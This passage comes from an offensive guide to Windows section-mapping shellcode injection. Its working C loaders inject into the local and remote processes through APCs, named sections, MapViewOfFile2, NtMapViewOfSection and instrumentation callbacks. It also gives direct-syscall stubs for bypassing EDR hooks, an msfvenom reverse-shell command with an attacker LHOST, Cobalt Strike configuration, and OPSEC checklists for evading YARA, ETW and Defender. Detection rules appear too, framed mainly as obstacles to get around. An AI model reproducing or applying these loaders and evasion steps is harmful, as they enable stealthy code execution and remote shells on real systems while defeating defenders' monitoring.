[MAP] APIs: Section mapping → shellcode in RX view → NtQueueApcThread (self-APC)
Execution: Current thread's APC queue — fires when thread enters alertable state
What it means: Instead of creating a new thread or using a callback API, queue the shellcode address as an Asynchronous Procedure Call (APC) to the current thread. When SleepEx, WaitForSingleObjectEx, or another alertable wait is called, Windows drains the APC queue and executes the shellcode.
#include <windows.h>
// (After mapping shellcode to pRX via NtMapViewOfSection, RX protection)
typedef NTSTATUS (NTAPI *pNtQueueApcThread)(
HANDLE ThreadHandle,
PVOID ApcRoutine,
PVOID ApcArgument1,
PVOID ApcArgument2,
PVOID ApcArgument3
);
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(ntdll, "NtQueueApcThread");
// Queue shellcode as APC to current thread
NtQueueApcThread(
GetCurrentThread(), // self — queue to current thread
pRX, // APC routine = shellcode address
NULL, NULL, NULL // APC arguments (ignored by shellcode)
);
// Enter alertable state — APC fires now
SleepEx(0, TRUE); // alertable sleep drains APC queue
// NtQueueApcThreadEx for special user APC (no alertable state required):
typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx)(
HANDLE ThreadHandle,
HANDLE ReserveHandle, // special user APC handle
PVOID ApcRoutine,
PVOID SystemArgument1,
PVOID SystemArgument2,
PVOID SystemArgument3
);
// ReserveHandle = INVALID_HANDLE_VALUE triggers special user APC
// Special user APC fires without requiring alertable state (Windows 10+)
pNtQueueApcThreadEx NtQueueApcThreadEx = (pNtQueueApcThreadEx)GetProcAddress(ntdll, "NtQueueApcThreadEx");
NtQueueApcThreadEx(GetCurrentThread(), (HANDLE)(LONG_PTR)-1, pRX, NULL, NULL, NULL);
[OPSEC] Self-APC is extremely stealthy — no new threads, no callback APIs, execution happens through the Windows APC dispatch mechanism. NtQueueApcThreadEx with special user APC doesn't even require an alertable wait.
11. Technique 7 — Named Section Mapping
[MAP] APIs: CreateFileMappingW (with name) → OpenFileMapping → MapViewOfFile
Use case: Cross-process communication, staged payload delivery, C2 implant staging
What it means: Creating a named section allows a separate process to open the same section by name. Useful for: staging shellcode into a named section from one process, then having a second process open and map it. Avoids WriteProcessMemory AND OpenProcess for data transfer.
// === PROCESS A — Stager (writes shellcode) ===
HANDLE hMapping = CreateFileMappingW(
INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0,
sc_len,
L"Global\\MySection12345" // named section — visible system-wide
// "Local\\..." for session-only visibility
);
LPVOID pMap = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sc_len);
memcpy(pMap, shellcode, sc_len);
UnmapViewOfFile(pMap);
// Section object persists even after unmapping — stager holds hMapping open
WaitForSingleObject(GetCurrentProcess(), INFINITE); // keep section alive
// === PROCESS B — Loader (reads and executes) ===
HANDLE hMapping = OpenFileMappingW(
FILE_MAP_EXECUTE | FILE_MAP_READ,
FALSE,
L"Global\\MySection12345" // same name
);
LPVOID pExec = MapViewOfFile(hMapping, FILE_MAP_EXECUTE | FILE_MAP_READ, 0, 0, 0);
// Execute
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pExec, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
UnmapViewOfFile(pExec);
CloseHandle(hMapping);
[DETECT] Named sections in the Global\ namespace require SeCreateGlobalPrivilege. The name itself can be a detection/hunting indicator — use random or common-looking names. Section names appear in kernel object listings visible to tools like WinObj, Process Hacker, and EDR.
[C2] Named sections can be used as a covert IPC channel between implant components — C2 server writes tasks into a named section; implant maps and reads. Eliminates socket-based staging.
12. Technique 8 — MapViewOfFile2 / MapViewOfFile3 (Remote Mapping)
[MAP] [VAR] APIs: CreateFileMapping → MapViewOfFile (local, RW) → memcpy → MapViewOfFile2 (remote, RX)
Execution: Remote process — avoids WriteProcessMemory for cross-process delivery
What it means: MapViewOfFile2 (Win 10 1703+) maps a view of a local mapping into a REMOTE process's address space. This replaces WriteProcessMemory entirely for cross-process shellcode delivery. The local write view and the remote execute view share the same physical pages.
#include <windows.h>
// MapViewOfFile2 prototype:
// PVOID MapViewOfFile2(HANDLE FileMappingHandle, HANDLE ProcessHandle,
// ULONG64 Offset, PVOID BaseAddress, SIZE_T ViewSize,
// ULONG AllocationType, ULONG PageProtection);
// Declared in memoryapi.h — link OneCore.lib or use GetProcAddress from Kernelbase.dll
typedef PVOID (WINAPI *pMapViewOfFile2)(
HANDLE FileMappingHandle,
HANDLE ProcessHandle,
ULONG64 Offset,
PVOID BaseAddress,
SIZE_T ViewSize,
ULONG AllocationType,
ULONG PageProtection
);
unsigned char shellcode[] = { /* shellcode */ };
DWORD targetPID = 1234; // target process PID
int main() {
// Resolve MapViewOfFile2 (it's in Kernelbase.dll, not kernel32.dll)
HMODULE kb = GetModuleHandle(L"KernelBase.dll");
pMapViewOfFile2 _MapViewOfFile2 = (pMapViewOfFile2)GetProcAddress(kb, "MapViewOfFile2");
// Or: MapViewOfFileNuma2 with NUMA_NO_PREFERRED_NODE as last arg
// Step 1: Open target process (need PROCESS_VM_OPERATION)
HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, FALSE, targetPID);
if (!hProc) { printf("[-] OpenProcess failed\n"); return 1; }
// Step 2: Create local section (pagefile-backed)
HANDLE hMapping = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL,
PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
// Step 3: Map LOCAL writable view
LPVOID pLocal = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));
// Step 4: Copy shellcode to local view (this is the "write")
memcpy(pLocal, shellcode, sizeof(shellcode));
// No WriteProcessMemory needed — this local write is mirrored
// Step 5: Map REMOTE executable view (no WriteProcessMemory!)
LPVOID pRemote = _MapViewOfFile2(
hMapping, // same mapping handle
hProc, // TARGET process handle
0, // offset
NULL, // let OS pick address in target
sizeof(shellcode), // size
0, // no special alloc type
PAGE_EXECUTE_READ // RX in remote process
);
if (!pRemote) { printf("[-] MapViewOfFile2 failed: %lu\n", GetLastError()); return 1; }
printf("[+] Remote RX view: %p in PID %lu\n", pRemote, targetPID);
// Step 6: Unmap local write view (cleanup)
UnmapViewOfFile(pLocal);
CloseHandle(hMapping);
// Step 7: Execute — still need thread creation in remote process
// (MapViewOfFile2 only handles memory — execution trigger is separate)
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProc);
return 0;
}
# MapViewOfFile2 requires linking OneCore.lib (MSVC) or use GetProcAddress approach above
# MinGW: use GetProcAddress from KernelBase.dll as shown — no lib needed
x86_64-w64-mingw32-gcc remote_mapping.c -o remote_mapping.exe -lkernel32
[DETECT] MapViewOfFile2 internally calls NtMapViewOfSection. Sandboxes already monitor NtMapViewOfSection / ZwMapViewOfSection. The Win32 wrapper call sequence (CreateFileMapping → MapViewOfFile → MapViewOfFile2) may avoid some pattern matchers but the underlying syscall is the same.
[OPSEC] Prefer MapViewOfFile3 (kernelbase, Win10 1803+) over MapViewOfFile2. MapViewOfFile3 internally calls NtMapViewOfSectionEx — a newer syscall that was added later and has less detection coverage.
13. Technique 9 — NtMapViewOfSection Remote (Section Injection)
[MAP] [NTAPI] APIs: NtCreateSection → NtMapViewOfSection (local, RW) → memcpy → NtMapViewOfSection (remote, RX) → RtlCreateUserThread
This is the canonical "Section Injection" technique — used by Cobalt Strike's NtMapViewOfSection allocator.
What it means: Pure NT API version of remote mapping. No Win32 wrappers — direct ntdll calls only. The pattern replaces VirtualAllocEx → WriteProcessMemory → CreateRemoteThread with a completely different API set.
// (Include typedefs from §7.1 + remote process handling)
unsigned char shellcode[] = { /* shellcode */ };
DWORD targetPID = 1234;
int main() {
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
pNtCreateSection NtCS = (pNtCreateSection) GetProcAddress(ntdll, "NtCreateSection");
pNtMapViewOfSection NtMV = (pNtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
pRtlCreateUserThread RtlCUT = (pRtlCreateUserThread)GetProcAddress(ntdll, "RtlCreateUserThread");
// Step 1: Open target process
HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, targetPID);
// Step 2: Create section
HANDLE hSection = NULL;
LARGE_INTEGER sz; sz.QuadPart = sizeof(shellcode);
NtCS(&hSection, SECTION_ALL_ACCESS, NULL, &sz, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// Step 3: Map LOCAL view with RW — for writing shellcode
PVOID localBase = NULL; SIZE_T vsz = 0;
NtMV(hSection, GetCurrentProcess(), &localBase, 0, 0, NULL, &vsz, 2, 0, PAGE_READWRITE);
printf("[+] Local view (RW): %p\n", localBase);
// Step 4: Map REMOTE view with RX — shellcode runs here in target
PVOID remoteBase = NULL; vsz = 0;
NtMV(hSection, hProc, &remoteBase, 0, 0, NULL, &vsz, 2, 0, PAGE_EXECUTE_READ);
printf("[+] Remote view (RX): %p in PID %lu\n", remoteBase, targetPID);
// Step 5: Write shellcode to LOCAL view → auto-mirrored to REMOTE
memcpy(localBase, shellcode, sizeof(shellcode));
printf("[+] Shellcode written locally — mirrored to remote process\n");
// Step 6: Execute in remote process
HANDLE hThread = NULL;
CLIENT_ID cid = {0};
RtlCUT(hProc, NULL, FALSE, 0, NULL, NULL, remoteBase, NULL, &hThread, &cid);
printf("[+] Remote thread: %p | TID: %llu\n", hThread, (ULONG64)cid.UniqueThread);
WaitForSingleObject(hThread, 5000);
// Cleanup
typedef NTSTATUS (NTAPI *pNtUnmap)(HANDLE, PVOID);
pNtUnmap NtUnmap = (pNtUnmap)GetProcAddress(ntdll, "NtUnmapViewOfSection");
NtUnmap(GetCurrentProcess(), localBase);
NtClose(hSection);
NtClose(hThread);
CloseHandle(hProc);
return 0;
}
[OPSEC] The RW local + RX remote split means no process ever has RWX memory. The remote process sees only a clean PAGE_EXECUTE_READ mapped section — indistinguishable from a loaded DLL's .text section in terms of memory type and protection. This is the strongest OPSEC variant for cross-process injection.
[C2] Cobalt Strike uses this pattern when set allocator "NtMapViewOfSection" is configured in a Malleable C2 profile. It's known to bypass many Defender ATP behavioral rules that specifically watch for VirtualAllocEx → WriteProcessMemory.
14. Technique 10 — Instrumentation Callback + Mapping (antonioCoco variant)
[MAP] [NTAPI] APIs: OpenProcess → (CreateFileMapping → MapViewOfFile3 [local] → MapViewOfFile3 [target]) × 2 → NtSetInformationProcess
OS: Windows 10 / Server 2016 version 1703+ (build 10.0.15063+)
Source: antonioCoco/Mapping-Injection — splintercod3.blogspot.com
What it means: The most advanced mapping injection variant. Instead of CreateRemoteThread for execution, this technique sets a process instrumentation callback (NtSetInformationProcess with ProcessInstrumentationCallback). Every syscall in the target process then triggers the callback — which is mapped shellcode. No new thread is created in the target process at all.
API chain:
OpenProcess(PROCESS_VM_OPERATION | PROCESS_SET_INFORMATION)
→ (CreateFileMapping → MapViewOfFile3 [local RW] → MapViewOfFile3 [target RX]) [flag memory]
→ (CreateFileMapping → MapViewOfFile3 [local RW] → MapViewOfFile3 [target RX]) [shellcode]
→ NtSetInformationProcess(ProcessInstrumentationCallback, remoteCallbackAddr)
↑
next syscall in target process → triggers callback → shellcode runs
// NtSetInformationProcess with ProcessInstrumentationCallback
typedef NTSTATUS (NTAPI *pNtSetInformationProcess)(
HANDLE ProcessHandle,
PROCESS_INFORMATION_CLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength
);
#define ProcessInstrumentationCallback 40
typedef struct {
ULONG Version; // 0
ULONG Reserved; // 0
PVOID Callback; // pointer to callback code
} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION;
// Usage:
pNtSetInformationProcess NtSIP = (pNtSetInformationProcess)GetProcAddress(ntdll, "NtSetInformationProcess");
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION cbInfo = {0};
cbInfo.Version = 0;
cbInfo.Reserved = 0;
cbInfo.Callback = remoteCallbackBase; // ← mapped shellcode address in target
NtSIP(hTargetProc, (PROCESS_INFORMATION_CLASS)ProcessInstrumentationCallback,
&cbInfo, sizeof(cbInfo));
// After this — next syscall in target process runs your callback (shellcode)
[DETECT] This technique leaves a non-NULL InstrumentationCallback in the target's KPROCESS structure. By default all processes have this set to NULL — a NULL-check detects injected processes. Artifacts persist after shellcode runs.
[EDR] MapViewOfFile3 internally calls NtMapViewOfSectionEx — monitored by kernel ETW. Kernel-mode ETW subscriptions (used by CrowdStrike, SentinelOne, etc.) can detect even direct syscall variants.
15. Execution Primitives After Mapping
What it means: Mapping allocates memory — a separate execution trigger is needed. The mapping technique is decoupled from how you execute. Mix and match for optimal OPSEC.
After your shellcode is in a mapped RX view at address pRX:
Execution Option API OPSEC Monitored?
─────────────────────────────────────────────────────────────────────────────
Local new thread CreateThread Low Heavy
Local NT thread RtlCreateUserThread Medium Medium
Local APC (alertable) NtQueueApcThread High Low
Local APC (special user) NtQueueApcThreadEx Very High Very Low
Local callback EnumSystemLocalesW High Low
Local callback (stealthy) CertEnumSystemStore Very High Very Low
Remote new thread CreateRemoteThread Low Heavy
Remote NT thread RtlCreateUserThread Medium Medium
Remote APC QueueUserAPC (alertable) Medium Medium
Remote thread hijack SuspendThread+SetContext High Medium
Remote instrumentation cb NtSetInformationProcess Very High Low (novel)
Thread pool CreateTimerQueueTimer High Low
Decision tree for execution primitive:
Where is the shellcode running?
│
├─ Same process (local mapping):
│ ├─ Any EDR? → Callback + NtMapViewOfSection (§9)
│ ├─ No EDR? → CreateThread (simple)
│ └─ Max OPSEC → NtQueueApcThreadEx special user APC
│
└─ Remote process:
├─ Any EDR? → NtMapViewOfSection(RX) + RtlCreateUserThread
├─ Max OPSEC → NtMapViewOfSection(RX) + instrumentation callback
└─ Quick PoC → MapViewOfFile2 + CreateRemoteThread
16. Memory Protection Strategies
What it means: The protection flags on your mapped views directly determine how detectable the shellcode is. Choose based on your threat model.
16.1 Protection Comparison
| Strategy | Section Flags | Write View | Exec View | RWX Exposed? | EDR Score |
|---|---|---|---|---|---|
| Simplest (T1) | PAGE_EXECUTE_READWRITE | Combined: RWX | Same | YES | High risk |
| Split Win32 (T2) | PAGE_EXECUTE_READWRITE | PAGE_READWRITE | PAGE_EXECUTE_READ | No | Medium |
| NT RW+RX (T4) | PAGE_EXECUTE_READWRITE | PAGE_READWRITE | PAGE_EXECUTE_READ | No | Low |
| RX only after write | PAGE_EXECUTE_READWRITE | Unmapped | PAGE_EXECUTE_READ | No | Very Low |
| Copy-on-write | PAGE_EXECUTE_WRITECOPY | — | — | — | Very Low |
16.2 Cleaning Up the Write View
// Best OPSEC pattern:
// 1. Write shellcode via RW view
// 2. Immediately unmap the RW view
// 3. Only RX view remains in memory
// 4. Execute from RX view
// → Memory scanner sees only a clean RX mapped section
// NtUnmapViewOfSection to remove write view:
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)GetProcAddress(ntdll, "NtUnmapViewOfSection");
NtUnmap(GetCurrentProcess(), pRW); // removes the RW view
// pRX still valid — same physical pages, different virtual address
16.3 Section-Backed vs Private Memory
VirtualAlloc memory:
Type: MEM_PRIVATE
Suspicion: HIGH — private executable memory has no module backing
Typical use: heap, stack, stack traces lead nowhere suspicious
Section-backed (mapped) memory:
Type: MEM_MAPPED
Suspicion: LOW-MEDIUM — same type as DLLs, file-backed data
Typical use: DLL code sections, memory-mapped files, IPC
Key EDR heuristic bypassed:
"MEM_PRIVATE + PAGE_EXECUTE" = high alert (no module backing)
"MEM_MAPPED + PAGE_EXECUTE" = normal (could be any mapped module)
17. Direct Syscall Integration
What it means: Even ntdll-level functions can be hooked by EDR via trampoline patches in userland. Direct syscalls go below ntdll entirely — executing syscall stubs that invoke the kernel directly without passing through any hooked code.
17.1 Manual Syscall Stub
// For x64 Windows, a syscall looks like:
// mov r10, rcx
// mov eax, <syscall_number>
// syscall
// ret
// NtCreateSection syscall number (Windows 10 21H2 = 0x4A, varies by build!)
// Use SysWhispers3 to auto-generate version-aware stubs
// Manual stub example (version-specific, use SysWhispers3 instead):
__declspec(naked) NTSTATUS NtCreateSection_stub(
PHANDLE SectionHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle)
{
__asm__ volatile(
"mov r10, rcx\n"
"mov eax, 0x4A\n" // NtCreateSection syscall # — WIN10 21H2
"syscall\n"
"ret\n"
);
}
17.2 SysWhispers3 Integration (Recommended)
# Generate syscall stubs for all mapping-related functions
python3 syswhispers.py -a x64 -c msvc \
--functions NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtCreateThreadEx \
-o sw3_mapping
# Produces: sw3_mapping.h + sw3_mapping.c
# Include in your project — replaces all ntdll function calls
// After including SysWhispers3 output:
#include "sw3_mapping.h"
// Direct syscall versions — bypass ALL userland EDR hooks:
SW3_NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &sz,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
SW3_NtMapViewOfSection(hSection, GetCurrentProcess(), &pRW,
0, 0, NULL, &vsz, 2, 0, PAGE_READWRITE);
SW3_NtMapViewOfSection(hSection, GetCurrentProcess(), &pRX,
0, 0, NULL, &vsz, 2, 0, PAGE_EXECUTE_READ);
// Write shellcode
memcpy(pRW, shellcode, sc_len);
// Execute via callback (no thread creation hook)
CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL,
(PFN_CERT_ENUM_SYSTEM_STORE)pRX);
17.3 Hell's Gate / Tartarus' Gate
// Hell's Gate: dynamically resolve syscall numbers at runtime
// from ntdll memory — works even when ntdll is patched
// Concept:
// 1. Scan ntdll export table for target function
// 2. Read bytes at function address
// 3. If not hooked: extract syscall number from "mov eax, N" instruction
// 4. If hooked (first bytes changed): scan nearby functions to infer number
// 5. Use resolved number in inline syscall stub
// Tool: https://github.com/am0nsec/HellsGate
// Tartarus' Gate handles additionally hooked functions by neighbor scanning
// SysWhispers3 includes both patterns — recommended over manual implementation
[OPSEC] Direct syscalls completely bypass userland EDR hooks in ntdll. The remaining detection surface is kernel ETW (Microsoft-Windows-Threat-Intelligence provider), which some EDRs use. Kernel ETW cannot be bypassed from userland.
18. OPSEC Considerations
What it means: Section mapping changes the API footprint but doesn't automatically defeat all detection. Each remaining detection surface must be addressed deliberately.
18.1 What Mapping Injection Avoids
Classic injection IOC Mapped injection status
────────────────────────────────────────────────────────
VirtualAllocEx in remote process ✓ NOT called
WriteProcessMemory ✓ NOT called
MEM_PRIVATE + PAGE_EXECUTE ✓ NOT created (section-backed)
RWX memory allocation ✓ Avoidable with RW+RX split
Import: VirtualAllocEx ✓ NOT imported
Import: WriteProcessMemory ✓ NOT imported
18.2 What Mapping Injection Still Exposes
Remaining IOC Mitigation
────────────────────────────────────────────────────────────────
CreateFileMapping with exec perms → NtCreateSection via direct syscall
MapViewOfFile in import table → Dynamic resolution via GetProcAddress
OpenProcess still called → Use NtOpenProcess or lower privilege handle
CreateRemoteThread still called → Use RtlCreateUserThread, instrumentation cb,
or APC injection
NtMapViewOfSection syscall (ETW) → No bypass from userland; accept residual risk
Section object in kernel space → Section exists until all handles closed — cleanup
Named section in object namespace → Use anonymous sections (NULL name)
18.3 OPSEC Decision Checklist
Before deploying mapping injection:
[ ] No disk file: INVALID_HANDLE_VALUE for CreateFileMapping / NULL for NtCreateSection
[ ] Anonymous section: NULL name (not "Global\..." unless cross-process required)
[ ] RW+RX split: never expose RWX view to memory scanner
[ ] Unmap write view: after shellcode copy, remove the RW view
[ ] Clean imports: resolve all APIs dynamically via GetProcAddress or PEB walk
[ ] Thread creation: use callback or APC instead of CreateThread when possible
[ ] Process handle: request minimum access (PROCESS_VM_OPERATION only for remote)
[ ] Syscall layer: use SysWhispers3 for direct syscalls to avoid ntdll hooks
[ ] Architecture match: MapViewOfFile2 only works same-arch (x64→x64, x86→x86)
[ ] Handle cleanup: close section/view handles promptly after use
19. Detection Vectors
What it means: Understanding how defenders detect mapping injection lets you choose the right variant and countermeasures.
19.1 API Sequence Rules
EDR behavioral rule example:
CreateFileMapping(PAGE_EXECUTE_READWRITE) → MapViewOfFile(FILE_MAP_EXECUTE) → [socket]
→ ALERT: Mapping with execute permissions followed by network activity
More specific rule:
CreateFileMapping(INVALID_HANDLE_VALUE, PAGE_EXECUTE_*) → MapViewOfFile2(remote process)
→ ALERT: Pagefile-backed executable section mapped into remote process
Cobalt Strike variant:
CreateFileMapping → MapViewOfFile → NtMapViewOfSection (via Kernelbase.dll)
→ Known Cobalt Strike beacon pattern — widely detected by mature EDR
Bypass: Use NtCreateSection + NtMapViewOfSection directly (different API path)
19.2 Memory Forensics
Process Hacker / Moneta / Pe-sieve will show:
- MEM_MAPPED pages with PAGE_EXECUTE_READ
- Not backed by a file on disk (pagefile-backed section)
- Section handle open in process
"Suspicious mapped executable memory" indicators:
→ Mapped RX pages where the backing section is pagefile (no file path)
→ MEM_MAPPED with no corresponding loaded module
→ These are softer IOCs than private RWX but still flagged by advanced scanners
Detection tools:
Moneta: .\Moneta64.exe -m ioc -p <pid> (reports suspicious mapped sections)
Pe-sieve: pe-sieve.exe /pid <pid> (reports non-PE-backed executable regions)
19.3 ETW — The Unavoidable Layer
Microsoft-Windows-Threat-Intelligence ETW provider (kernel mode):
Logs: NtMapViewOfSection, NtCreateSection, thread creation
Cannot be disabled from userland
Used by: CrowdStrike, SentinelOne, Defender ATP (in PPL mode)
What ETW sees:
- NtCreateSection: size, protection flags, process
- NtMapViewOfSection: section handle, target process, base address, protection
- Cross-process mapping: flagged when source ≠ target process
Partial mitigations:
→ NtMapViewOfSectionEx (newer syscall, less ETW coverage)
→ MapViewOfFile3 → NtMapViewOfSectionEx (Win10 1803+)
→ Kernel ETW patching (advanced, risky, detectable itself)
19.4 YARA Detection
rule Local_Mapping_Injection {
meta:
description = "Mapping injection loader"
strings:
$cfm = "CreateFileMapping" ascii wide
$mvf = "MapViewOfFile" ascii wide
$ntcs = "NtCreateSection" ascii wide
$ntmv = "NtMapViewOfSection" ascii wide
condition:
($cfm and $mvf) or ($ntcs and $ntmv)
}
// Bypass: import no strings — resolve everything via GetProcAddress from hash
// → YARA strings match fails (no readable API names in binary)
19.5 Hunting Queries (Defender ATP / KQL)
// Hunt for NtCreateSection followed by NtMapViewOfSection into remote process
DeviceEvents
| where ActionType == "CreateRemoteThreadApiCall"
or ActionType == "NtMapViewOfSection"
| where ProcessId != RemoteProcessId
| project Timestamp, DeviceName, ProcessId, ProcessCommandLine, RemoteProcessId
// Hunt for mapped executable sections not backed by file
DeviceProcessEvents
| where FileName endswith ".exe"
| join kind=inner DeviceMemoryEvents on DeviceId
| where MemoryType == "MEM_MAPPED" and IsExecutable == true
| where FilePath == "" // no file path = pagefile-backed
20. Tooling Reference
[TOOL] Mapping-Injection — https://github.com/antonioCoco/Mapping-Injection
The original reference implementation by antonioCoco. Two variants:
- v1.1: CreateFileMapping → MapViewOfFile → memcpy → MapViewOfFile2 → CreateRemoteThread
- v2: MapViewOfFile3 + NtSetInformationProcess instrumentation callback
git clone https://github.com/antonioCoco/Mapping-Injection
# Open Mapping-Injection.sln in Visual Studio
# Build → Release x64
# Usage: .\Mapping-Injection.exe <target_pid>
[TOOL] ProcessInjectionTechniques — https://offensive-panda.github.io/ProcessInjectionTechniques/
Comprehensive series with labs for NtCreateSection + NtMapViewOfSection injection:
- Lab: NtCreateSection_MapViewOfSection
- Shows RW local + RX remote split with full working code
[TOOL] MappingInjection_CSharp — https://github.com/Kara-4search/MappingInjection_CSharp
C# implementation using P/Invoke — useful for .NET-based implants and PowerShell runners.
[TOOL] SysWhispers3 — https://github.com/klezVirus/SysWhispers3
Generates direct syscall stubs for NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection.
python3 syswhispers.py -a x64 -c msvc \
--functions NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection \
-o sw3_mapping
# Include sw3_mapping.h + sw3_mapping.c in your project
[TOOL] Moneta — https://github.com/forrest-orr/moneta
Live process memory IOC scanner. Detects suspicious mapped sections:
.\Moneta64.exe -m ioc -p <pid>
# Reports: non-PE mapped executable regions, pagefile-backed RX sections
[TOOL] Pe-Sieve — https://github.com/hasherezade/pe-sieve
Detects implanted code in processes including mapped injections:
pe-sieve.exe /pid <pid> /report_path C:\Results
[TOOL] ThreatCheck — https://github.com/rasta-mouse/ThreatCheck
Identify which bytes in your compiled loader trigger Defender:
.\ThreatCheck.exe -f .\mapping_loader.exe -e Defender
[TOOL] Process Hacker / System Informer — https://systeminformer.sourceforge.io/
View process memory maps, section object details, and protection attributes in real-time. Use the memory tab to observe your mapped views during testing.
[C2] Cobalt Strike Malleable C2
Configure mapping injection as the allocator:
process-inject {
set allocator "NtMapViewOfSection"; # use section mapping instead of VirtualAllocEx
...
}
This enables the CreateFileMapping → MapViewOfFile → NtMapViewOfSection pattern in Beacon's injection workflow.
21. Comparison Matrix
| Technique | APIs | Process | No VirtualAlloc | No WriteProcessMemory | No RWX | No CreateThread | OPSEC |
|---|---|---|---|---|---|---|---|
| T1 — Win32 RWX Local | CreateFileMapping + MapViewOfFile + CreateThread | Self | ✓ | ✓ | ✗ | ✗ | Low |
| T2 — Win32 Split View | CreateFileMapping + MapViewOfFile(RW+RX) + CreateThread | Self | ✓ | ✓ | ✓ | ✗ | Medium |
| T3 — NTAPI RWX Local | NtCreateSection + NtMapViewOfSection + RtlCreateUserThread | Self | ✓ | ✓ | ✗ | ✗ | Medium |
| T4 — NTAPI Split View | NtCreateSection + NtMapViewOfSection(RW+RX) + Thread | Self | ✓ | ✓ | ✓ | ✗ | High |
| T5 — Mapping + Callback | NT split view + Callback API | Self | ✓ | ✓ | ✓ | ✓ | Very High |
| T6 — Mapping + APC | NT split view + NtQueueApcThreadEx | Self | ✓ | ✓ | ✓ | ✓ | Very High |
| T7 — Named Section | Named CreateFileMapping + OpenFileMapping | Cross-proc | ✓ | ✓ | configurable | configurable | Medium |
| T8 — MapViewOfFile2 | Win32 + MapViewOfFile2 remote | Remote | ✓ | ✓ | ✓ | ✗ | Medium-High |
| T9 — NtMapViewOfSection Remote | Pure NT API remote | Remote | ✓ | ✓ | ✓ | ✗ | High |
| T10 — Instr. Callback | MapViewOfFile3 + NtSetInformationProcess | Remote | ✓ | ✓ | ✓ | ✓ | Very High |
| Direct Syscall + any | Any above + SysWhispers3 | Any | ✓ | ✓ | ✓ | configurable | Maximum |
22. Cheat Sheet
Quick Workflow
# Step 1: Generate shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -o shellcode.c
# OR: Havoc / Sliver → export shellcode
# Step 2: Encrypt shellcode (combine with Shellcode Encryption notes)
python3 xor_encode.py shellcode.bin
python3 aes_encrypt.py shellcode.bin
# Step 3: Choose technique based on target
# Defender only → T4 (NTAPI RW+RX) + T5 (callback execution)
# CrowdStrike → T4 + T5 + SysWhispers3 (direct syscalls)
# SentinelOne → T10 (instrumentation callback) or T5 with rare callback API
# No EDR (lab/CTF) → T1 or T2 (simplest)
# Step 4: Compile
x86_64-w64-mingw32-gcc loader.c -o loader.exe -lntdll -lkernel32 [extra libs]
# Step 5: Verify with ThreatCheck
.\ThreatCheck.exe -f .\loader.exe -e Defender
# Step 6: Check memory footprint
.\Moneta64.exe -m ioc -p <pid> # should show MEM_MAPPED RX, no private RWX
API Quick Reference
Goal API DLL
──────────────────────────────────────────────────────────────────────────
Create pagefile-backed section CreateFileMapping/NtCreateSection
Map RW view (write shellcode) MapViewOfFile / NtMapViewOfSection(PAGE_READWRITE)
Map RX view (execute shellcode) MapViewOfFile / NtMapViewOfSection(PAGE_EXECUTE_READ)
Remove write view after copy UnmapViewOfFile / NtUnmapViewOfSection
Map into remote process (Win32) MapViewOfFile2 / MapViewOfFile3 KernelBase.dll
Map into remote process (NT) NtMapViewOfSection ntdll.dll
Execute: new thread (simple) CreateThread / CreateRemoteThread kernel32.dll
Execute: NT thread RtlCreateUserThread ntdll.dll
Execute: callback (no thread) EnumSystemLocalesW / CertEnumSystemStore / etc.
Execute: APC (no new thread) NtQueueApcThread / NtQueueApcThreadEx
Execute: instrumentation callback NtSetInformationProcess ntdll.dll
Bypass ntdll hooks (syscalls) SysWhispers3 direct
Memory Protection at a Glance
CreateFileMapping flag:
PAGE_EXECUTE_READ → views limited to RX (can't make them RW for writing)
PAGE_EXECUTE_READWRITE → views can be RW or RX (use this for split-view)
PAGE_EXECUTE_WRITECOPY → copy-on-write executable
MapViewOfFile flag for write: FILE_MAP_WRITE (→ PAGE_READWRITE view)
MapViewOfFile flag for exec: FILE_MAP_EXECUTE | FILE_MAP_READ (→ PAGE_EXECUTE_READ view)
NtMapViewOfSection Protect param:
PAGE_READWRITE → writable, not executable
PAGE_EXECUTE_READ → executable, not writable ← what remote process sees
PAGE_EXECUTE_READWRITE → both (avoid if possible)
Comparison: Classic vs Mapping Injection
CLASSIC:
VirtualAllocEx → Memory allocated in remote process
WriteProcessMemory → Shellcode written across process boundary
CreateRemoteThread → New thread with entry in allocated memory
EDR sees:
Cross-process allocation (VirtualAllocEx) → IOC
Cross-process write (WriteProcessMemory) → IOC
Thread entry in private memory → IOC
MAPPING:
NtCreateSection → Kernel section object created
NtMapViewOfSection[L] → Local RW view (write here)
memcpy → Shellcode written locally
NtMapViewOfSection[R] → Remote RX view (reflected — no WPM)
